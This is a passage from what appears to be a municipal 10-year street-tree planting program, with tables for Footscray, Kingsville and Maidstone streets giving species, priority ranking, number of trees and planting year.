0 | 10 | | HOWDEN CRESCENT | *Melia azederach* | White Cedar | D | 22 | 1 | | HOWELL PLACE | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | HUGHES STREET | *Tristaniopsis laurina* | Water Gum | J | 7 | 9 | | JACKSON STREET | *Agonis flexuosa* | Willow Myrtle | J | 0 | 10 | | JADE COURT | *Pyrus calleryana* | Callery Pear | J | 1 | 10 | | JOY STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | KANNAN BOULEVARD | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | J | 4 | 10 | | KENNETH STREET | *Melia azederach* | White Cedar | E | 17 | 2 | | KENROSS COURT | *Acacia podalyrifolia* | Queensland Silver Wattle | H | 7 | 7 | | KENT STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 2 | 10 | | KING STREET | *Olea europaea 'Sativa'* | Olive | J | 2 | 10 | | KINGSFORD STREET | *Angophora costata* | Smooth Barked Apple | H | 7 | 7 | | LACY STREET | *Angophora costata* | Smooth Barked Apple | A | 46 | 9 | | LAWN CRESCENT | *Lophostemon confertus* | Brush Box | D | 24 | 1 | | LAWSON STREET | Confirmation Pending | | J | 3 | 10 | | LAWTON STREET | *Ulmus parvifolia* | Chinese Elm | C | 5 | 1 | | LILY STREET | *Ulmus parvifolia* | Chinese Elm | H | 17 | 6 | | LISA COURT | *Malus ioensis 'Plena'* | Bechtels Crab Apple | F | 3 | 3 | | LORD PLACE | *Pyrus ussuriensis* | Manchurian Pear | J | 1 | 10 | | MARGARET CRESCENT | *Lophostemon confertus* | Brush Box | E | 11 | 3 | | MARIN LANE | *Allocasurina verticillata* | Drooping Sheoek | E | 8 | 2 | | MARNOO STREET | *Pyrus ussuriensis* | Manchurian Pear | H | 8 | 7 | | MARSDEN PARADE | Confirmation Pending | | J | 5 | 9 | | MCLENNAN STREET | *Ulmus parvifolia* | Chinese Elm | J | 4 | 10 | | MELON STREET | *Ulmus parvifolia* | Chinese Elm | J | 1 | 10 | | MELROSE STREET | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | H | 8 | 7 | | MENZIES STREET | *Ulmus parvifolia* | Chinese Elm | G | 10 | 6 | | MIDDLETON STREET | *Callistemon salignus* | Willow Bottlebrush | G | 8 | 4 | | MOAMA STREET | *Melia azederach* | White Cedar | G | 13 | 4 | | MORGAN STREET | *Lophostemon confertus* | Brush Box | J | 1 | 10 | | MULLENGER ROAD | *Eucalyptus melliodora* | Yellow Box | A | 18 | 1 | | MURRY AVENUE | Confirmation Pending | | H | 2 | 7 | | MYALLA STREET | *Tristaniopsis laurina* | Water Gum | E | 23 | 2 | | MYAMYN STREET | *Lophostemon confertus* | Brush Box | G | 15 | 5 | | NORTH COURT | Confirmation Pending | | J | 0 | 10 | | OAK COURT | *Olea europaea 'Sativa'* | Olive | J | 2 | 10 | | OPAL TERRACE | *Pyrus calleryana* | Callery Pear | C | 5 | 1 | | ORANGE STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 2 | 10 | | PALMER STREET | *Ulmus parvifolia* | Chinese Elm | J | 5 | 10 | | PRITCHARD AVENUE | *Pyrus ussuriensis* | Manchurian Pear | J | 8 | 10 | | PROBERT STREET | Confirmation Pending | | J | 5 | 10 | | RAVENHALL STREET | *Malus floribunda* | Japanese Crab Apple | J | 0 | 10 | | RENNISON STREET | *Stenocarpus sinuatus* | Fire Wheel Tree | F | 16 | 2 | | RILEY COURT | *Agonis flexuosa* | Willow Myrtle | I | 3 | 9 | | ROCHESTER STREET | *Eucalyptus leucoxylon 'Rosea'* | Yellow Gum | J | 7 | 9 | | ROSE STREET | *Olea europaea 'Sativa'* | Olive | J | 1 | 10 | | RUBY WAY | *Pyrus calleryana* | Callery Pear | F | 56 | 2 | | RUTLAND STREET | *Lophostemon confertus* | Brush Box | A | 4 | 10 | | SAPPHIRE COURT | *Pyrus calleryana* | Callery Pear | H | 3 | 7 | | SCOTLAND STREET | *Malus ioensis 'Plena'* | Bechtels Crab Apple | J | 1 | 10 | | SEDGE CLOSE | *Melia azederach* | White Cedar | J | 1 | 10 | | SHEPHERD STREET | *Pyrus ussuriensis* | Manchurian Pear | I | 12 | 9 | | SHOWERS STREET | *Melia azederach* | White Cedar | H | 8 | 7 | | SIMS STREET | *Agonis flexuosa* | Willow Myrtle | J | 1 | 10 | | SKEWES STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 3 | 10 | | SOUTH COURT | Confirmation Pending | | J | 0 | 10 | | SOUTH ROAD | *Lophostemon confertus* | Brush Box | H | 80 | 3 | | STEWART STREET | *Agonis flexuosa* | Willow Myrtle | J | 8 | 10 | | STORES COURT | *Pyrus calleryana* | Callery Pear | H | 5 | 7 | | SUNSHINE ROAD | *Angophora costata* | Smooth Barked Apple | I | 51 | 6 | | TRANSPORT STREET | *Corymbia ficifolia* | Red Flowering Gum | G | 5 | 4 | | TRELOAR COURT | Confirmation Pending | | J | 0 | 10 | | TRELOAR CRESCENT | *Ulmus parvifolia* | Chinese Elm | J | 8 | 10 | | TURNER CRESCENT | *Pyrus ussuriensis* | Manchurian Pear | J | 4 | 10 | | VINE COURT | *Eucalyptus torquata* | Coral Gum | C | 5 | 1 | | VINE STREET | *Lophostemon confertus* | Brush Box | J | 9 | 9 | | WALKER PLACE | *Lophostemon confertus* | Brush Box | G | 3 | 6 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |---------------------|-------------------------------------|------------------------------|------------------|--------------|--------------------| | WATSON GROVE | *Eucalyptus eximia* (East) | Yellow Bloodwood (East) | J | 1 | 10 | | | *Ulmus parvifolia* (West) | Chinese Elm (West) | | | | | WEST CENTRAL PARK AVENUE | *Melia azederach* | White Cedar | J | 2 | 10 | | WILSON STREET | *Corymbia ficifolia* (South) | Red Flowering Gum (South) | D | 33 | 1 | | | *Callistemon salignus* (North) | Willow Bottlebrush (North) | | | | | WINDSOR STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 0 | 10 | | WINJIEL COURT | *Pyrus calleryana* | Callery Pear | J | 3 | 10 | | WIRRAWAY AVENUE | *Pyrus calleryana* | Callery Pear | D | 3 | 2 | ## Footscray For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |------------------------------|---------------------------------------------------|------------------------------------|------------------|--------------|--------------------| | ADELAIDE STREET | Pyrus calleryana 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | ALBERT STREET | Laurus nobilis | BaY Laurel | J | 0 | 10 | | | Melia azederach | White Cedar | | | | | ANN STREET | Eucalyptus leucoxylon 'Megalocarpa' | Yellow Gum | J | 0 | 10 | | ARTHUR STREET | Pyrus calleryana 'Chanticleer' | Chanticleer Pear | J | 6 | 9 | | BALLARAT ROAD | Ulmus parvifolia | Chinese Elm | I | 178 | 5 | | BARKLY PLACE | Lophostemon confertus | Brush Box | J | 1 | 10 | | BARKLY STREET | Acer platanoides 'Columnare' | Column Norway Maple | G | 77 | 4 | | BATMAN STREET | Callistemon viriminalis | Weeping Bottlebrush | J | 0 | 10 | | BEAME STREET | Eucalyptus mannifera 'Little Spotty' | Red Spotted Gum | A | 20 | 9 | | BEAUREPAIRE PARADE | Corymbia citriodora | Lemon Scented Gum | J | 0 | 10 | | BEECH STREET | Pyrus calleryana 'Capital' | Ornamental Pear | A | 26 | 9 | | BEEVERS STREET | Eucalyptus sideroxylon | Red Ironbark | H | 15 | 6 | | BLACKSTON STREET | Allocasuarina spp | Sheoak | G | 6 | 9 | | BRISTOW STREET | Corymbia maculata (North) | Spotted Gum (North) | I | 1 | 10 | | | Eucalyptus torquata (South) | Coral Gum (South) | | | | | BUCKINGHAM STREET | Tristaniopsis laurina | Water Gum | G | 9 | 5 | | BUCKLEY STREET | Angophora costata | Smooth Barked Apple | G | 54 | 5 | | BUNBURY STREET | Ulmus procera | Golden Elm | H | 16 | 6 | | BYRON STREET | Eucalyptus leucoxylon 'Rosea' | Yellow Gum (Leeds to Moore) | C | 17 | 3 | | | Laurus nobilis (Leeds St to Nicholson St) | Bay Laurel (Leeds to Nicholson) | | | | | | Ulmus parvifolia (Moore St to Cowper St) | Chinese Elm (Moore to Cowper) | | | | | CARMODY WAY | Ficus platypoda | Rock Fig | H | 3 | 7 | | CATHERINE STREET | Lagerstroemia indica | Crepe Myrtle | H | 2 | 7 | | CENTRAL AVENUE | Callistemon viriminalis | Weeping Bottlebrush | J | 0 | 10 | | CHATHAM STREET | Koelreuteria paniculata | Golden Rain Tree | H | 8 | 7 | | COMMERCIAL ROAD | Ulmus parvifolia | Chinese Elm | J | 4 | 10 | | CORAL AVENUE | Pyrus ussuriensis 'Capital' | Ornamental Pear | J | 0 | 10 | | COWARD STREET | Confirmation Pending | J | 10 | 10 | | | COPWER STREET | Angophora costata (Parker St to Harris St) | Smooth Barked Apple (Parker to Harris) | I | 47 | 6 | | | Ficus macrophylla (Parker St to Hopkins St) | Moreton Bay Fig (Parker to Hopkins) | | | | | CRESWICK STREET | Malus ioenis 'Plena' | Bechtels Crab Apple | G | 46 | 4 | | CROSS STREET | Ulmus parvifolia 'Todd' | Chinese Elm | I | 48 | 6 | | CROWN STREET | Olea europaea 'Sativa' | Olive | A | 3 | 1 | | CUMBERLAND DRIVE | Acer buergerianum | Trident Maple | J | 5 | 10 | | DALMAHOY STREET | Confirmation Pending | J | 8 | 10 | | | DARLING STREET | Callistemon viriminalis | Weeping Bottlebrush | J | 0 | 10 | | DAVID STREET | Confirmation Pending | I | 7 | 8 | | | DAWSON AVENUE | Tristaniopsis laurina | Water Gum | J | 3 | 10 | | DEVON PLACE | Confirmation Pending | I | 9 | 7 | | | DONALD STREET (EAST) | Ulmus parvifolia | Chinese Elm | D | 23 | 3 | | DONALD STREET (WEST) | Ulmus parvifolia | Chinese Elm | J | 2 | 8 | | DROOP STREET | Lauris nobilis (Hopkins St to Donald St) | Bay Laurel (Hopkins to Donald) | J | 5 | 10 | | | Ulmus parvifolia (Donald St to Ballarat Rd) | Chinese Elm (Donald to Ballarat) | | | | | DUDLEY STREET | Eucalyptus leucoxylon 'Megalocarpa' | Yellow Gum | J | 5 | 10 | | EDEN STREET | Callistemon salignus | Willow Bottlebrush | I | 5 | 7 | | ELDRIDGE STREET | Lophostemon confertus | Brush Box | I | 10 | 8 | | ELEANOR STREET | Koelreuteria paniculata | Golden Rain Tree | G | 28 | 2 | | EMPIRE STREET | Lophostemon confertus | Brush Box | G | 14 | 5 | | ERROL STREET | Eucalyptus leucoxylon 'Rosea' | Yellow Gum | J | 0 | 10 | | ESSEX STREET | Koelreuteria paniculata | Golden Rain Tree | J | 22 | 8 | | EVERARD STREET | Pyrus calleryana 'Chanticleer' | Chanticleer Pear | C | 28 | 1 | | FARNSWORTH AVENUE | Angophora costata | Smooth Barked Apple | D | 152 | 2 | | FEDERAL STREET | Olea europaea | Olive | J | 0 | 10 | | FERN TERRACE | Lophostemon confertus | Brush Box | J | 0 | 10 | | FISHER STREET | Corymbia ficifolia | Red Flowering Gum | J | 0 | 10 | | FITZROY STREET | Koelreuteria paniculata | Golden Rain Tree | J | 0 | 10 | | FOOTSCRAY ROAD | Confirmation Pending | I | 8 | 8 | | | FORD STREET | Ulmus parvifolia | Chinese Elm | A | 8 | 2 | | FRENCH STREET | Laurus nobilis | Bay Laurel | F | 12 | 3 | | GALLANT STREET | Acer buergerianum | Trident Maple | J | 1 | 10 | | GEELONG ROAD | Corymbia maculata | Spotted Gum | J | 43 | 8 | | GORDON STREET | Lagerstroemia indica | Crepe Myrtle | I | 72 | 5 | | GOVAN COURT | Malus ioenis 'Plena' | Bechtels Crab Apple | J | 0 | 10 | | GOVAN STREET | Ulmus parvifolia | Chinese Elm | J | 0 | 10 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |--------------------------|---------------------------------------------------|------------------------------------|------------------|--------------|--------------------| | GREENHAM PLACE | *Lopho*stemon confertus | Brush Box | J | 0 | 10 | | GREER STREET | *Ulmus parvifolia* | Chinese Elm | J | 4 | 10 | | HARRIS STREET | *Lopho*stemon confertus | Brush Box | J | 0 | 10 | | HERBERT STREET | *Lagerstroemia indica* | Crepe Myrtle | E | 12 | 7 | | HEWITT AVENUE | *Ulmus parvifolia* 'Todd' | Chinese Elm | G | 8 | 6 | | HOADLEY COURT | *Acer x freemanii* 'Autumn Blaze' | Red Maple | A | 4 | 1 | | HOCKING STREET | *Eucalyptus leucoxylon* 'Euky Dwarf' | Yellow Gum | C | 34 | 1 | | HOPKINS STREET | *Acer platanoides* 'Columnare' | Column Norway Maple | D | 3 | 2 | | HUGH STREET | *Lagerstroemia indica* | Crepe Myrtle | A | 6 | 9 | | HUNTLY STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 8 | 10 | | HYDE STREET | *Ulmus parvifolia* (North of Napier Street) | Chinese Elm | I | 43 | 6 | | | *Tristania*opsis laurina* (South of Napier Street)| Water Gum | I | | | | IRVING STREET | *Backhousia citriodora* | Lemon Myrtle | F | 17 | 3 | | JAMISON AVENUE | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | G | 9 | 5 | | JERROLD STREET | *Tristania*opsis laurina* | Water Gum | I | 11 | 2 | | JOHN STREET | *Calliceston viminalis* | Drooping Bottlebrush | J | 0 | 10 | | JOHNSON STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 1 | 10 | | JOSEPH ROAD | Confirmation Pending | | J | 0 | 10 | | KINNEAR STREET | *Tristania*opsis laurina* | Water Gum | D | 21 | 1 | | LATROBE STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | I | 6 | 7 | | LAWSON PLACE | *Melia azederach* | White Cedar | B | 9 | 2 | | LEANDER STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 1 | 10 | | LEEDS STREET | *Laurus nobilis* | Bay Laurel | G | 26 | 2 | | LEIGH STREET | *Lopho*stemon confertus | Brush Box | J | 0 | 10 | | LEUNIG PLACE | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | LINDA COURT | *Melia azederach* | White Cedar | G | 3 | 7 | | LIVERPOOL STREET | *Eucalyptus leucoxylon* 'Megalocarpa' (West) | Yellow Gum (West) | G | 13 | 6 | | | *Koelreuteria paniculata* (East) | Golden Rain Tree (East) | G | | | | LYNCH STREET | *Eucalyptus leucoxylon* 'Rosea' | Yellow Gum | G | 26 | 5 | | | (Nicholson St to Moore St) | | | | | | MACPHERSON STREET | *Olea europaea* 'Sativa' | Olive | I | 19 | 7 | | MADDOCK STREET | *Acer buergerianum* | Trident Maple | I | 8 | 7 | | MALDEN STREET | *Olea europaea* 'Sativa' | Olive | J | 1 | 10 | | MARIBYRNONG BOULEVARD | Confirmation Pending | | A | 23 | 2 | | MARIBYRNONG STREET | *Eucalyptus melliodora* | Yellow Box | G | 43 | 4 | | MARION STREET | *Melia azederach* | White Cedar | I | 2 | 8 | | MARY STREET | *Lagerstroemia indica* | Crepe Myrtle | G | 5 | 9 | | MAVIS STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | D | 10 | 1 | | MAY STREET | *Eucalyptus leucoxylon* | Yello Gum | J | 2 | 10 | | MCCUBBIN STREET | *Acacia podalyrifolia* | Queensland Silver Wattle | J | 3 | 10 | | MCDOUGALL DRIVE | *Angophora costata* (East of Hewitt Ave) | Smooth Barked Apple (East of Hewitt)| H | 24 | 5 | | | *Ulmus parvifolia* 'Todd' (West of Hewitt) | Chinese Elm (West of Hewitt) | H | | | | MCNAB AVENUE | *Phoenix canariensis* | Canary Island Date Palm | J | 0 | 10 | | MEPHAN STREET | *Tristania*opsis laurina* | Water Gum | G | 45 | 3 | | MILLS CLOSE | Confirmation Pending | | I | 0 | 10 | | MOORE STREET | *Eucalyptus nicholii* | Narrow Leaf Peppermint | D | 45 | 2 | | MORELAND STREET | *Quercus robur* | English Oak | F | 64 | 3 | | MUNRO SQUARE | *Jacaranda mimosifolia* | Jacaranda | J | 0 | 10 | | NAISMITH STREET | *Melia azederach* | White Cedar | J | 2 | 10 | | NAPIER STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 10 | 10 | | NELSON PLACE | Confirmation Pending | | I | 18 | 9 | | NEWELL STREET | *Agonis flexuosa* | Willow Myrtle | J | 10 | 10 | | NEWMAN DRIVE | *Pyrus calleryana* 'Capital' | Ornamental Pear | F | 0 | 10 | | NICHOLSON STREET | *Corymbia maculata* | Spotted Gum | J | 17 | 9 | | OWEN STREET | *Tristania*opsis laurina* | Water Gum | J | 7 | 10 | | PAISLEY STREET | *Pyrus calleryana* 'Bradford' (East of French St) | Bradford Pear (East of French Street) | H | 28 | 5 | | | *Ulmus parvifolia* (West of French St) | Chinese Elm (West of French Street)| H | | | | PALMER STREET | *Celtis australis* | Hackberry | J | 4 | 10 | | PARK STREET | *Koelreuteria paniculata* | Golden Rain Tree | J | 4 | 10 | | PARKER STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | PETER STREET | *Olea europaea* | Olive | A | 6 | 3 | | PICKETT STREET | *Eucalyptus leucoxylon* megalocarpa | Yellow Gum | H | 17 | 6 | | PILGRIM STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 0 | 10 | | QUEEN STREET | *Corymbia ficifolia* | Red Flowering Gum | A | 9 | 6 | | RAILWAY PLACE | *Lagerstroemia indica* 'Tu*skarora' | Crepe Myrtle | C | 13 | 1 | | RALEIGH STREET | *Eucalyptus nicholii* (South) | Narrow Leaf Peppermint (South) | I | 6 | 8 | | | *Lopho*stemon confertus (North) | Brush Box (South) | I | | | | RAYNER STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | I | 2 | 7 | | RIPPON STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 3 | 10 | | ROBINSON ROAD | *Tristania*opsis laurina* | Water Gum | I | 3 | 8 | | ROSAMOND ROAD | *Pyrus ussuriensis* | Manchurian Pear | J | 39 | 8 | | RYAN STREET | *Fraxinus griffithii* | Evergreen Ash | I | 14 | 7 | | SALTRIVER PLACE | *Lopho*stemon confertus | Brush Box | A | 14 | 3 | | SECOMB PLACE N | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |--------------------------|---------------------------------------------------|------------------------------------|------------------|--------------|--------------------| | SECOMB PLACE S | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | SHELLY STREET | *Callistemon salignus* | Willow Bottlebrush | A | 3 | 6 | | SHEPHERD STREET | *Acer buergerianum* | Trident Maple | F | 46 | 4 | | SMITH CRESCENT | *Pyrus ussuriensis* | Manchurian Pear | J | 3 | 10 | | SOMERVILLE ROAD | *Angophora costata* | Smooth Barked Apple | J | 0 | 10 | | SOUTER CRESCENT | *Acer campestre* 'Evelyn' Queen Elizabeth | Hedge Maple | J | 26 | 8 | | SOUTHAMPTON STREET | *Pyrus calleryana* 'Bradford' | Bradford Pear | J | 0 | 10 | | STAFFORD STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | STANLAKE STREET | *Olea europaea* 'Sativa' | Olive | J | 1 | 10 | | STEET STREET | *Agonis flexuosa* | Willow Myrtle | J | 5 | 10 | | STIRLING STREET | *Melia azederach* | White Cedar | H | 26 | 5 | | SUMMERHILL ROAD | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 10 | 10 | | SWABY SQUARE | *Fraxinus griffithii* | Evergreen Ash | I | 3 | 8 | | SWAN STREET | *Pyrus calleryana* 'Bradford' | Bradford Pear | J | 3 | 10 | | SYDNEY STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 0 | 10 | | TAIT STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | H | 5 | 6 | | TALBOT STREET | *Pyrus ussuriensis* | Manchurian Pear | H | 9 | 6 | | THE CRESCENT | *Acer buergerianum* | Trident Maple | J | 0 | 10 | | TIERNAN STREET | *Acer buergerianum* | Trident Maple | E | 4 | 5 | | TOOHEY STREET | *Callistemon viminalis* | Weeping Bottlebrush | C | 10 | 3 | | VICTORIA STREET | *Ulmus parvifolia* | Chinese Elm | J | 9 | 10 | | VIPONT STREET | *Corymbia citriodora* | Lemon Scented Gum | J | 1 | 10 | | WARDE STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | A | 10 | 3 | | WARLEIGH ROAD | *Fraxinus angustifolia* | Desert Ash | J | 0 | 10 | | WHITE STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 5 | 10 | | WHITEHALL STREET | *Melia azederach* (Nature strip) | White Cedar | H | 98 | 3 | | | *Eucalyptus camaldulensis* (*Median*) | River Red Gum | | | | | WIGHTMAN STREET | *Callistemon viminalis* | Weeping Bottlebrush | A | 8 | 3 | | WINDSOR STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 5 | 10 | | WINGFIELD STREET | *Olea europaea* 'Sativa' | Olive | I | 12 | 7 | | WOLVERHAMPTON STREET | *Agonis flexuosa* | Willow Myrtle | H | 20 | 6 | | YEWERS STREET | *Agonis flexuosa* | Willow Myrtle | C | 21 | 9 | | YOUELL STREET | *Eucalyptus leucoxylon* 'Megalocarpa' (South) | Yellow Gum (South) | F | 14 | 3 | | | *Eucalyptus sideroxylon* (North) | Red Ironbark (North) | | | | ## Kingsville For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |----------------------|---------------------------------------------------|------------------------------|------------------|--------------|--------------------| | ALBION STREET | *Melia azederach* | White Cedar | I | 12 | 7 | | BISHOP STREET | *Ulmus parvifolia* | Chinese Elm | J | 10 | 10 | | CHATFIELD STREET | *Olea europeea* 'Sativa' | Olive | H | 22 | 5 | | CHINRSIDE STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 19 | 9 | | CORONATION STREET | *Lophostemon confertus* | Brush Box | J | 15 | 8 | | DICKSON STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | EDGAR STREET | *Agonis flexuosa* | Willow Myrtle | J | 12 | 9 | | EMPRESS AVENUE | *Tristaniopsis laurina* | Water Gum | J | 13 | 9 | | GEELONG ROAD | *Corymbia maculata* | Spotted Gum | J | 43 | 8 | | GEELONG STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 6 | 10 | | KERR STREET | *Lophostemon confertus* | Brush Box | H | 5 | 6 | | KINGSVILLE STREET | *Agonis flexuosa* | Willow Myrtle | I | 21 | 7 | | LEWIS STREET | *Lophostemon confertus* | Brush Box | F | 18 | 3 | | OSCAR STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 1 | 10 | | QUEENSVILLE STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | L | 14 | 9 | | SHACKELL STREET | Confirmation Pending | | A | 18 | 6 | | SOMERVILLE ROAD | *Angophora costata* | Smooth Barked Apple | J | 11 | 9 | | STURT STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 0 | 10 | | TUPPEN STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | WALES STREET | *Koelreuteria paniculata* | Golden Rain Tree | J | 15 | 9 | | WEBB STREET | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | H | 13 | 6 | | WILLIAMSTOWN ROAD | *Lophostemon confertus* | Brush Box | J | 25 | 8 | ## Maidstone For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |----------------------|---------------------------------------------------|------------------------------------|------------------|--------------|--------------------| | ALBERT FACEY STREET | *Angophora costata* | Smooth Barked Apple | F | 27 | 2 | | ALMA STREET | *Melia azederach* | White Cedar | J | 12 | 9 | | ASHLEY STREET | *Pyrus ussuriensis* | Manchurian Pear | I | 51 | 6 | | BABBS STREET | *Melia azederach* | White Cedar | J | 2 | 10 | | BAIRD STREET | *Angophora costata* | Smooth Barked Apple | J | 4 | 10 | | BALLARAT ROAD | *Ulmus parvifolia* | Chinese Elm | J | 89 | 7 | | BARRETT STREET | *Angophora costata* | Smooth Barked Apple | J | 1 | 10 | | BERNARD STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | I | 3 | 8 | | BOSQUET STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | I | 8 | 8 | | BURNS STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 11 | 9 | | CAMBRIDGE STREET | *Agonis flexuosa* | Willow Myrtle | F | 13 | 3 | | CARLYLE STREET | *Angophora costata* | Smooth Barked Apple | J | 7 | 10 | | CATHCART STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 3 | 10 | | CHEWTON STREET | *Corymbia maculata* | Spotted Gum | G | 10 | 4 | | CHURCH STREET | *Olea europaea* 'Sativa' | Olive | J | 8 | 10 | | CHURCHILL AVENUE | *Corymbia citriodora* | Lemon Scented Gum | J | 39 | 8 | | CHURCHILL PLACE | *Callistemon viminalis* | Weeping Bottlebrush | C | 8 | 1 | | CLARENDON STREET | *Olea europaea* 'Sativa' | Olive | H | 12 | 6 | | COLEMAN COURT | *Angophora costata* | Smooth Barked Apple | J | 1 | 10 | | COLEMAN STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | D | 14 | 1 | | COMMERCIAL STREET | *Tristaniopsis laurina* | Water Gum | I | 4 | 8 | | CORREA VIEW | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 1 | 10 | | CREFFDEN STREET | *Eucalyptus leucoxylon* | Yellow Gum | G | 14 | 4 | | CURTIN COURT | *Lophostemon confertus* | Brush Box | C | 5 | 1 | | CURTIN STREET | *Lophostemon confertus* | Brush Box | H | 15 | 6 | | DEAKIN STREET | *Melia azederach* | White Cedar | I | 16 | 7 | | DELACEY STREET | *Tristaniopsis laurina* | Water Gum | J | 0 | 10 | | DESMOND STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 1 | 10 | | DUNEDIN STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 5 | 10 | | EDMUND STREET | *Lophostemon confertus* | Brush Box | H | 6 | 5 | | EMU ROAD | *Angophora costata* | Smooth Barked Apple | J | 5 | 10 | | EUCAALYPTUS DRIVE | *Eucalyptus sideroxylon* 'Rosea' | Red Ironbark | I | 12 | 7 | | EVANS STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 3 | 10 | | FISHER STREET | *Corymbia ficifolia* | Red Flowering Gum | H | 22 | 5 | | FOREMEN WAY | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | GEORGE STREET | *Callistemon viminalis* | Weeping Bottlebrush | C | 18 | 5 | | GIBB STREET | *Lophostemon confertus* | Brush Box | J | 1 | 10 | | GILDA STREET | *Ulmus parvifolia* | Chinese Elm | F | 7 | 3 | | GREENHAM STREET | *Lophostemon confertus* | Brush Box | D | 30 | 1 | | GREVILLEA CIRCUIT | *Pyrus betulafeolia* 'Dancer' | Ornamental Pear | J | 2 | 10 | | HALSTEAD STREET | *Lophostemon confertus* | Brush Box | G | 4 | 4 | | HAMPSTEAD ROAD | *Ulmus parvifolia* | Chinese Elm | D | 105 | 2 | | HARRY STREET | *Lophostemon confertus* (East) | Brush Box (East) | I | 6 | 8 | | HAVELOCK STREET | *Lophostemon confertus* | Brush Box | J | 2 | 10 | | HOLLAND COURT | *Ulmus parvifolia* | Chinese Elm | I | 7 | 8 | | HOWARD STREET | *Corymbia ficifolia* (South) | Red Flowering Gum (South) | G | 27 | 2 | | HUTTON STREET | *Lophostemon confertus* | Brush Box | I | 4 | 8 | | INKERMAN STREET | *Melia azederach* | White Cedar | J | 1 | 10 | | IRVING COURT | *Corymbia citriodora* | Lemon Scented Gum | I | 1 | 7 | | JACKSON STREET | *Agonis flexuosa* | Willow Myrtle | F | 26 | 4 | | JANSON STREET | *Angophora costata* | Smooth Barked Apple | J | 4 | 10 | | KANDOKA DRIVE | *Angophora costata* | Smooth Barked Apple | J | 1 | 10 | | KEITH STREET | *Eucalyptus leucoxylon* | Yellow Gum | E | 10 | 10 | | LAUREL COURT | *Olea europaea* 'Sativa' | Olive | J | 3 | 10 | | LIGHTWOOD WAY | *Eucalyptus sideroxylon* | Red Iron Bark | J | 0 | 10 | | LINDENOW STREET | *Melia azederach* | White Cedar | H | 21 | 6 | | LOMANDRA DRIVE | *Angophora costata* (West) | Smooth Barked Apple (West) | J | 3 | 10 | | LOMAS WAY | *Eucalyptus scoparia* (East) | Wallangara White Gum (East) | | | | | LOMAS WAY | *Ulmus parvifolia* (North) | Chinese Elm (North) | J | 0 | 10 | | LYONS STREET | *Angophora costata* (South) | Smooth Barked Apple (South) | | | | | LYONS STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 2 | 10 | | MADDERN STREET | *Lophostemon confertus* (South) | Brush Box (South) | I | 24 | 7 | | MANDRELL STREET | Confirmation Pending | | J | 0 | 10 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |--------------------------|---------------------------------------------------|------------------------------|------------------|--------------|--------------------| | MAPLE STREET | *Acer x freemannii* 'Autumn Blaze' | Norway Maple | J | 2 | 10 | | MARSH STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 7 | 10 | | MITCHELL STREET | *Melia azederach* | White Cedar | J | 36 | 8 | | MONTGOMERY STREET | *Callistemon salignus* | Willow Myrtle | F | 20 | 3 | | MYRTLE DRIVE | 